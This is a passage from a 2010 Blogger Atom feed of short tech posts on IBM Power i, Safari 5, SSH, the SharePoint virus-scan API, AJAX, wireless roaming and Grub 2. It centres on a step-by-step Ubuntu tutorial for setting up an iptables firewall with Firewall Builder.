Systems servers. With the IBM I run the application, proven to help companies to focus on innovation and bring new benefits to the business and not just manage data center operations.&amp;nbsp; &lt;a href="http://www.thatcoin.com/2010/07/accurate-and-timely-with-ibm-power-i/" target="_blank"&gt;Source&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5426866481257107063?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5426866481257107063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5426866481257107063' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5426866481257107063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5426866481257107063'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/08/ibm-power-i.html' title='IBM Power I'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-846785484426884759</id><published>2010-08-09T08:18:00.000-07:00</published><updated>2010-08-09T08:18:31.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='Browser'/><title type='text'>Safari 5.0</title><content type='html'>At the launch of new iPhone at Worldwide Developers 2010, San Francisco. It turns out the apple logo company quietly released the next version of Safari, Safari version 5.0 for Mac and Windows platforms. Apple claims that Safari 5.0 browser has the tools to support with &lt;a href="http://www.thatcoin.com/2010/07/introducing-html-5/"&gt;HTML5&lt;/a&gt;, CSS3 and Javascript.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-846785484426884759?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/846785484426884759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=846785484426884759' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/846785484426884759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/846785484426884759'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/08/safari-50.html' title='Safari 5.0'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6071821684377980252</id><published>2010-06-20T06:51:00.000-07:00</published><updated>2010-06-20T06:51:56.895-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Administrator Server Remote</title><content type='html'>Install and configure SSH to securely connect and administer your server from any machine with a network connection. &lt;br /&gt;Apart from when you are doing the base installation or some sort of local maintenance, generally a Linux server is meant to be run without a monitor connected. Most tasks you would need to perform on a server can be done via the command line, and these days Telnet is out and SSH is in. SSH provides you with the ability to remotely log in to your server and run commandsall over an encrypted channel. Plus, SSH offers a number of advanced functions that can make remote administration simpler. &lt;a href="http://tutorial-hemlet.blogspot.com/2010/06/administer-your-server-remotely.html"&gt;Source and read more&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6071821684377980252?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6071821684377980252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6071821684377980252' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6071821684377980252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6071821684377980252'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/06/administrator-server-remote.html' title='Administrator Server Remote'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7442013149393901685</id><published>2010-06-20T06:48:00.001-07:00</published><updated>2010-06-20T06:48:55.812-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><title type='text'>The Windows SharePoint Services Virus Scan Engine API</title><content type='html'>To support &lt;span class="IL_AD" id="IL_AD8"&gt;antivirus&lt;/span&gt; protection, Microsoft® Windows® SharePoint™ Services uses an API called SP VS API 1.0, &lt;span class="IL_AD" id="IL_AD6"&gt;the Microsoft&lt;/span&gt; &lt;span class="IL_AD" id="IL_AD3"&gt;Office SharePoint&lt;/span&gt; &lt;span class="IL_AD" id="IL_AD7"&gt;Virus Scan&lt;/span&gt; Engine (VSE) API, that is based on the Microsoft Exchange Server VS API 2.0. SP VS API 1.0 incorporates much of the original design but is optimized for speed in a Microsoft SQL Server™ environment. This is achieved by creating a lower-level API that integrates directly into the File/Save and File/Open paths of Windows SharePoint Services, and also by eliminating the mail dependencies of the VS API 2.0 on the Messaging Application Programming Interface (MAPI).&lt;br /&gt;Because Windows SharePoint Services is a SQL document store, not a mail store, documents are scanned in real time when they are saved (uploaded) or opened (downloaded), and the user is given the result of that scan instantly. ....&lt;a href="http://sources-code-hemlet.blogspot.com/2010/06/overview-of-windows-sharepoint-services.html"&gt;read more&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7442013149393901685?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7442013149393901685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7442013149393901685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7442013149393901685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7442013149393901685'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/06/windows-sharepoint-services-virus-scan.html' title='The Windows SharePoint Services Virus Scan Engine API'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1289815776140893989</id><published>2010-04-10T06:50:00.001-07:00</published><updated>2010-04-10T06:50:59.755-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Protect Your Network</title><content type='html'>Protect your network with a firewall managed from your Ubuntu desktop. &lt;br /&gt;Linux has an excellent kernel-based network packet-management system called iptables that can be configured either directly from the command line or through a variety of GUI administration interfaces. One of the most powerful firewall-management interfaces is called Firewall Builder, a system designed to separate policy from implementation and allow you to concentrate on what you want your firewall to do, rather than how you want it to do it.&lt;br /&gt;The Firewall Builder interface presents hosts, routers, firewalls, networks, and protocols as objects, and allows you to drag and drop those objects to define your firewall policy. Firewall Builder then compiles your policy into the actual rules needed to enforce it, with multiple policy compilers available to suit different types of firewall. You can define your policy using Firewall Builder running on an Ubuntu desktop and then have it compiled for a firewall running iptables on Linux, ipfilter on BSD, or any of about half a dozen other firewall technologies. The policy can be defined exactly the same way, regardless of the technology deployed on the target firewall. And because Firewall Builder can support multiple firewalls simultaneously, you can use it as a central management console to configure a variety of firewalls and individual hosts throughout your network, all from a single, unified interface.&lt;br /&gt;You can run Firewall Builder directly on your firewall if you choose, but as a general policy, it's a good idea to have your firewall running the absolute minimum system possible, so a better approach is to have a dedicated machine as your firewall and run Firewall Builder on a desktop or laptop management machine. Then whenever you want to update your firewall policy, you can run Firewall Builder on your management machine to generate new rules and push them out to the firewall.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Initial Firewall Setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Start by setting up your firewall machine with a minimal Ubuntu installation: run the installer in server mode, so that it installs only basic packages, and preferably install at least one extra Ethernet card so that you can keep untrusted Internet traffic away from your internal network. A standard approach is to run three network interfaces on a firewall: one for your internal network (downstream), one to connect to the Internet (upstream), and one to a separate local network called the De-Militarized Zone (DMZ), where you can put servers that you want to expose to the Internet. Configure the network interfaces to suit the networks they are connecting to and make sure that your firewall can connect to each one of them individually by using ping to check whether you can see hosts on each network.&lt;br /&gt;Your firewall machine is now sitting at the crossroads between the Internet, your internal network, and any servers that you want to run, but it doesn't yet know how to pass data from one to another so everything will be effectively isolated. To enable your firewall to pass packets from one network interface to another and perform packet filtering and network/port address translation, you will need to install iptables, and to allow the firewall to be managed remotely, you will need to install an SSH server:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo apt-get install iptables ssh&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Initial Management-Machine Setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Install Firewall Builder on your management machine along with RCS and the Firewall Builder documentation package:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install fwbuilder rcs fwbuilder-doc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you're ready to perform the rest of the steps.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Create a firewall project&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;First, launch Firewall Builder:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ fwbuilder&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Select Create New Project File and specify a location to save it. Ideally, you should create a special directory to hold the project file because Firewall Builder will also generate other files in the same directory, and having them all in one place makes it easier to back up your firewall configuration.&lt;br /&gt;You are then given the option of activating revision control for the project as well as setting it to be opened automatically when Firewall Builder starts up. Turn on both options.&lt;br /&gt;&lt;br /&gt;The revision-control option tells Firewall Builder to store the configuration file in RCS, allowing you to see the entire history of the file, including all changes that have ever been made to it. This feature can be extremely handy if you manage to break your firewall and need to roll back to a known-good working configuration.&lt;br /&gt;Firewall Builder will initially start with an empty configuration containing only a number of predefined services in two libraries. The libraries are called User and Standard, and you can switch between them using the drop-down menu near the upper left. The Standard library is a read-only library that ships with Firewall Builder and contains predefined services for almost every TCP and UDP service in common use, along with predefined network ranges and time ranges. The User library is where objects you define will be stored, including firewalls, custom TCP and UDP services, and custom network ranges.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Define a new firewall&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Make sure the User library is selected, right-click on the Firewalls folder, and select New Firewall. The New Firewall dialog appears. Give your firewall a name, select the firewall software (typically "iptables" if you run Linux on your firewall), and select the firewall operating system (Linux 2.4/2.6). This is where you start to see the flexibility of Firewall Builder and its support for multiple firewall types.&lt;br /&gt;You also have the option of using preconfigured template firewall objects, which is a good idea if you're just getting started with Firewall Builder. The templates make it very easy to get started with a typical firewall scenario, rather than starting from scratch with a totally blank configuration. After you've made your selection, click Next.&lt;br /&gt;Click on each of the firewall template names to see a diagram and a brief explanation of how it works. For most small networks, "fw template 1" is a good choice, giving you a typical firewall with a dynamic external address, static internal addresses on the 192.168.1.0/24 network, unrestricted outbound access from the network, and access to the firewall itself only via SSH from inside the network. "fw template 2" is similar but also allows the firewall to operate as a DHCP and DNS server for the internal network.&lt;br /&gt;Once you have selected a template, you will be returned to the main Firewall Builder policy-management screen, but you will now have a default policy defined for your new firewall. Firewall Builder displays policy rules in a list, with the rules applied in order, starting at the top and working down until a match is found&lt;br /&gt;There are multiple rules lists that can be accessed using tabs across the top of the list. The primary list is Policy, which are the rules that control allowed and disallowed activity throughout the firewall. Then there is an individual rule list for each interface on the firewall, and finally a NAT list that allows you to configure Network Address Translation rules. You don't usually need to worry about the individual interfaces; most changes will be to Policy and NAT.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Add a host-specific policy&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To understand how Policy and NAT are managed, try applying a specific scenario, such as providing external access to an internal web server.&lt;br /&gt;Start by adding a Host object for the server. Go through the User object tree to User Objects Hosts, right-click on Hosts, and select New Host. Enter a name such as www.example.com for your host, select the checkbox labeled Use Preconfigured Template Host Objects, and then click Next.&lt;br /&gt;Select the "PC with 1 interface" template and click Finish. An object will be added to your Hosts list with an interface predefined, so click through to User Objects Hosts  eth0 , then double-click on it to edit the interface values. Change the IP address to match the actual internal address of your server, apply the changes, and close the dialog.&lt;br /&gt;Assuming you have a range of public, static IP addresses assigned to the external interface of your network, right-click on "eth0" and select Add IP Address. Enter the public IP address and network mask, apply changes, and close.&lt;br /&gt;Your server now has two IP addresses defined: the real address assigned to its interface and the public address that you want people to use to access it.&lt;br /&gt;Now click the NAT tab at the top of the rules list. Add a new, blank NAT rule by either right-clicking on the number of an existing rule or selecting Rules Add Rule Below from the menu.&lt;br /&gt;You can now build your NAT rule by dragging and dropping object icons into appropriate places. The columns are:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Original Src&lt;br /&gt;The original source address of packets before translation&lt;br /&gt;&lt;br /&gt;Original Dst&lt;br /&gt;The original destination of packets before translation&lt;br /&gt;&lt;br /&gt;Original Srv&lt;br /&gt;The original service (port) the packets arrived on&lt;br /&gt;&lt;br /&gt;Translated Src&lt;br /&gt;The new source address to report that packets came from&lt;br /&gt;&lt;br /&gt;Translated Dst&lt;br /&gt;The new destination address to apply to packets&lt;br /&gt;&lt;br /&gt;Translated Srv&lt;br /&gt;The new port to direct packets to&lt;br /&gt;&lt;/blockquote&gt;The first rule to set up is the translation to apply to packets directed toward the server from outside the firewall. Click the icon representing the external IP address of the server and drag it into the Original Dst box, and then click the internal IP address icon and drag it into the Translated Dst box.&lt;br /&gt;Now add another blank rule and set it to translate packets directed from the server to the outside world. Click the internal IP address icon and drag it into the Original Src box, and the external IP address icon and drag it into the Translated Src box.&lt;br /&gt;You now have rules that will cause packets traveling to and from the server to be modified as they pass through the firewall, with external machines seeing only the external IP address. &lt;br /&gt;&lt;br /&gt;In these examples, only the IP addresses were translated. However, you can also apply translations to services. For example, you may have a reverse-proxy cache running as a web-server accelerator internally on port 8080, and you want external users to be able to access it using the standard HTTP port, port 80. By dragging and dropping services into the Original Srv and Translated Srv boxes from the Standard library (and creating services in the User library as necessary), you can apply port translation in the same way as address translation. Firewall Builder gives you the flexibility to convert the source and destination addresses and port of packets at will, so adjust the NAT rules until they represent the transformations you want to apply to network traffic.&lt;br /&gt;However, NAT rules alone are not enough. Without a matching policy rule, no packets will be allowed through the firewall, even if they match NAT rules. While the NAT rules define what can happen, policy rules define what is allowed to happen. Policy rules have the final say.&lt;br /&gt;Click the Policy tab and go down through the list of existing rules to find an appropriate place to add rules for your host, most likely right near the end, before the general network rule and the fall-through Deny All rule. Right-click in the rule-number column and add a rule. Drag the external IP address icon of your web server into the Destination box, and then right-click the Deny icon in the Action column and change it to Allow.&lt;br /&gt;If you want to allow full access to every port on your web server from outside your network, that's all you need to do. However, it's safest to make the rule more specific and allow only certain services through, so click the User/Standard drop-down near the top left and switch to the Standard library. Browse down through the library to Standard Services TCP "http" and drag its icon into the Service box of your new rule. If you want to allow SSL connections, you can also drag the "https" icon into the same box. You now have a rule that explicitly allows connections from any host to your web server but only on ports 80 and 443&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Compile and Install the Policy&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Once you are happy with the policy you have created, you need to apply it to the firewall. Firewall Builder does this in two steps. First, the policy is compiled into a script to suit the software on your firewall; then, it's pushed out to the firewall and loaded.&lt;br /&gt;Select Rules Compile or click the gear icon to have Firewall Builder compile your rules. You will see a dialog reporting progress, and when it finishes, you will have a new script placed in Firewall Builder's working directory alongside the project file. You can now copy the script to the target firewall by SSH and execute it to have the rules applied. To keep everything neat, it's a good idea to create a directory on the firewall to store the script:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo mkdir /etc/firewall&lt;/blockquote&gt;&lt;br /&gt;Then copy your script into that directory and execute it manually to test it. Even though it will have a .fw extension, the file is actually just a shell script that you can run in the normal way:&lt;br /&gt;&lt;blockquote&gt;$ sudo /etc/firewall/&lt;br /&gt;&lt;br /&gt;firewallname.fw&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Firewall Builder provides a large number of configuration options to control the way the script is generated for each firewall, so if the script didn't work properly on your firewall, you may need to right-click the firewall icon in the object tree, select Edit, and then click the Firewall Settings button. The tabs at the top give you access to a lot of options, so go through them carefully and change any settings that may apply to your particular firewall; then compile the rules and test them again.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Automatic Policy Startup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The firewall script needs to be run each time your firewall boots up, so use your favorite editor to open /etc/rc.local and add the path to the script just before the exit 0 line. The end of /etc/rc.local should look something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;/etc/firewall/firewallname.fw&lt;br /&gt;exit 0&lt;/blockquote&gt;&lt;br /&gt;The rc.local file is executed after all the other startup scripts whenever Ubuntu switches to a new multiuser runlevel. Referencing your script in there ensures it will be executed after other services such as networking have started up, and that it won't be started if you boot up in single-user mode. This is handy if you need to fix configuration problems by booting into single-user mode.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Automatic Policy Installation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Once you are happy that the rules are being generated correctly for your firewall, you can save yourself some effort on subsequent updates by configuring Firewall Builder to manage installing and activating the script on your behalf. Select the firewall icon (located in User Firewalls), right-click, select Edit, and the Firewall dialog will appear. Click Firewall Settings to re-enter the firewall options dialog. Click the Installer tab to be presented with options to execute a script to install and activate the firewall rules. The lower section of the dialog provides two text-entry fields that you can use to invoke any external script or command you like; so, for example, you can write a script that copies the script to the firewall by SCP and then executes it using SSH. Firewall Builder even comes with a sample script to do exactly what you will find installed in /usr/bin/fwb_install. Full information on how to use fwb_install is available in its manpage:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ man fwb_install&lt;/blockquote&gt;&lt;br /&gt;Firewall Builder also has an internal policy-installation mechanism, which is perfectly adequate for most environments.&lt;br /&gt;To set up automatic policy installation, first create a group such as fwadmin on the firewall, and then create a user and make it a member of the group:&lt;br /&gt;&lt;blockquote&gt;$ sudo addgroup fwadmin&lt;br /&gt;$ sudo adduser fwadmin -G fwadmin&lt;/blockquote&gt;&lt;br /&gt;Set up a directory on the firewall to store the firewall configuration:&lt;br /&gt;&lt;blockquote&gt;$ sudo mkdir -m 0770 /etc/firewall&lt;br /&gt;$ sudo chown fwadmin:fwadmin /etc/firewall&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Configure sudo to allow this user to execute the firewall script without entering a password by running:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo visudo&lt;/blockquote&gt;&lt;br /&gt;and adding a line similar to the following to the end of the /etc/sudoers file:&lt;br /&gt;&lt;br /&gt;%fwadmin = NOPASSWD:/etc/firewall/firewallname.fw&lt;br /&gt;&lt;br /&gt;The &lt;i&gt;firewallname.fw&lt;/i&gt; string should be replaced by the actual name of the script generated by Firewall Builder for this firewall.&lt;br /&gt;&lt;br /&gt;You can optionally set up public-key encryption for access to the fwadmin account on the firewall.&lt;br /&gt;In the Installer tab of the Firewall Settings dialog, put in the path to the directory you created on the firewall and the username you created.&lt;br /&gt;&lt;br /&gt;You may not need to specify an alternate name or address for the firewall: Firewall Builder will try to automatically determine the IP address to use to communicate with the firewall, but it will use an address if you put one in.&lt;br /&gt;Save and close the Firewall Settings dialog, and you should now be able to install and activate your policy simply by clicking the Install icon or by selecting Rules Install from the menu. From now on, any updates you make can be applied simply by clicking Compile and then Install.&lt;br /&gt;&lt;br /&gt;Extensive documentation and tutorials are available on the official Firewall Builder site at http://www.fwbuilder.org if you want to learn more. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1289815776140893989?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1289815776140893989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1289815776140893989' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1289815776140893989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1289815776140893989'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/04/protect-your-network.html' title='Protect Your Network'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7824555514882333454</id><published>2010-04-10T06:49:00.000-07:00</published><updated>2010-04-10T06:49:15.525-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>What is AJAX ?</title><content type='html'>Before you continue you should have a basic understanding of the following:&lt;br /&gt;• HTML / XHTML&lt;br /&gt;• CSS&lt;br /&gt;• JavaScript / DOM&lt;br /&gt;&lt;br /&gt;What is AJAX ?&lt;br /&gt;&lt;br /&gt;AJAX = Asynchronous JavaScript and XML.&lt;br /&gt;&lt;br /&gt;AJAX is a technique for creating fast and dynamic web pages.&lt;br /&gt;&lt;br /&gt;AJAX allows web pages to be updated asynchronously by exchanging small amounts of data with the server behind the scenes. This means that it is possible to update parts of a web page, without reloading the whole page.&lt;br /&gt;Classic web pages, (which do not use AJAX) must reload the entire page if the content should change.&lt;br /&gt;Examples of applications using AJAX: Google Maps, Gmail, Youtube, and Facebook tabs.&lt;br /&gt;&lt;br /&gt;AJAX is Based on Internet Standards&lt;br /&gt;&lt;br /&gt;AJAX is based on internet standards, and uses a combination of:&lt;br /&gt;• XMLHttpRequest object (to exchange data asynchronously with a server)&lt;br /&gt;• JavaScript/DOM (to display/interact with the information)&lt;br /&gt;• CSS (to style the data)&lt;br /&gt;• XML (often used as the format for transferring data)&lt;br /&gt;&lt;br /&gt;AJAX applications are browser- and platform-independent!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sources-code-hemlet.blogspot.com/2010/04/what-you-should-already-know.html"&gt;Source and read more&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7824555514882333454?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7824555514882333454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7824555514882333454' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7824555514882333454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7824555514882333454'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/04/what-is-ajax.html' title='What is AJAX ?'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2317601842957933884</id><published>2010-03-25T18:16:00.000-07:00</published><updated>2010-03-25T18:16:23.757-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Roam Wirelessly</title><content type='html'>Moving from one wireless network to another has traditionally been a pain under Linux. Here's how you can simplify this aspect of mobile computing using your wireless adapter and NetworkManager.&lt;br /&gt;&lt;br /&gt;One of the coolest things about having a laptop that's Wi-Fi-enabled is being able to go from place to place and freely associate with any hotspots that may be around. If you do this often, it really changes the way you work, as places like your local coffee shop have the potential to become your office. If you use a Windows or Mac OS-equipped laptop, bouncing from place to place isn't much of a challenge: you simply open up your computer, it tells you what access points are around, you click on one to associate with that network, and you're off and running. Under Linux, however, that's been problematic, as there haven't been any tools that make Wi-Fi easy...until now.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bill@defiant:~$ iwconfig&lt;br /&gt;lo        no wireless extensions.&lt;br /&gt;&lt;br /&gt;eth0 no wireless extensions.&lt;br /&gt;&lt;br /&gt;eth1      IEEE 802.11g  ESSID:"Its A Grind" &lt;br /&gt;Mode:Managed  Frequency:2.412 GHz  Access Point: 00:06:B1:14:C7:49&lt;br /&gt;Bit Rate=24 Mb/s   Tx-Power=20 dBm&lt;br /&gt;Retry limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;Power Management:off&lt;br /&gt;Link Quality=53/100  Signal level=-69 dBm  Noise level=-87 dBm&lt;br /&gt;Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;Tx excessive retries:41  Invalid misc:0   Missed beacon:16&lt;br /&gt;&lt;/blockquote&gt;If you see output similar to what's above mentioning an IEEE interface, then your card is recognized by Ubuntu and you can either use the built-in networking tools (System Administration Networking) to manage it, or proceed on with this hack to install NetworkManager.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://tutorial-hemlet.blogspot.com/2010/03/roam-wirelessly.html"&gt;source and read more&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2317601842957933884?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2317601842957933884/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2317601842957933884' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2317601842957933884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2317601842957933884'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/03/roam-wirelessly.html' title='Roam Wirelessly'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6211017868684450375</id><published>2010-03-14T06:32:00.001-07:00</published><updated>2010-03-14T06:32:55.942-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Grub 2</title><content type='html'>GRand Unified Bootloader, version 2 (Grub 2) is the second version of GNU GRUB. It is the software responsible for loading and transferring control to the operating system kernel during the initial boot. Grub 2 is compatible with standard POSIX (GNU/Linux, *BSD, Mac OS, etc) and can also connect to systems incompatible with standard POSIX (Portable Operating System Interface for Unix). &lt;br /&gt;GRUB 2 is a complete rewriting of the Grub interface. Based on the research project PUPA, GRUB 2 is more modular and portable than its predecessor. Some of the GRUB 2 scheduled improvements include: &lt;br /&gt;• a graphical interface, including theming; &lt;br /&gt;• modular loading; &lt;br /&gt;• cross-platform compatibility; &lt;br /&gt;• scripting support; &lt;br /&gt;• user-customized boot entries; &lt;br /&gt;• revised partition naming.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://wiki.ubuntu.com/" target="_blank"&gt;Source and keep reading&lt;/a&gt;&lt;br /&gt;&lt;a href="https://wiki.ubuntu.com/Grub2" target="_blank"&gt;Mirror&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6211017868684450375?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6211017868684450375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6211017868684450375' title='0 Comments'/><link rel='edit' 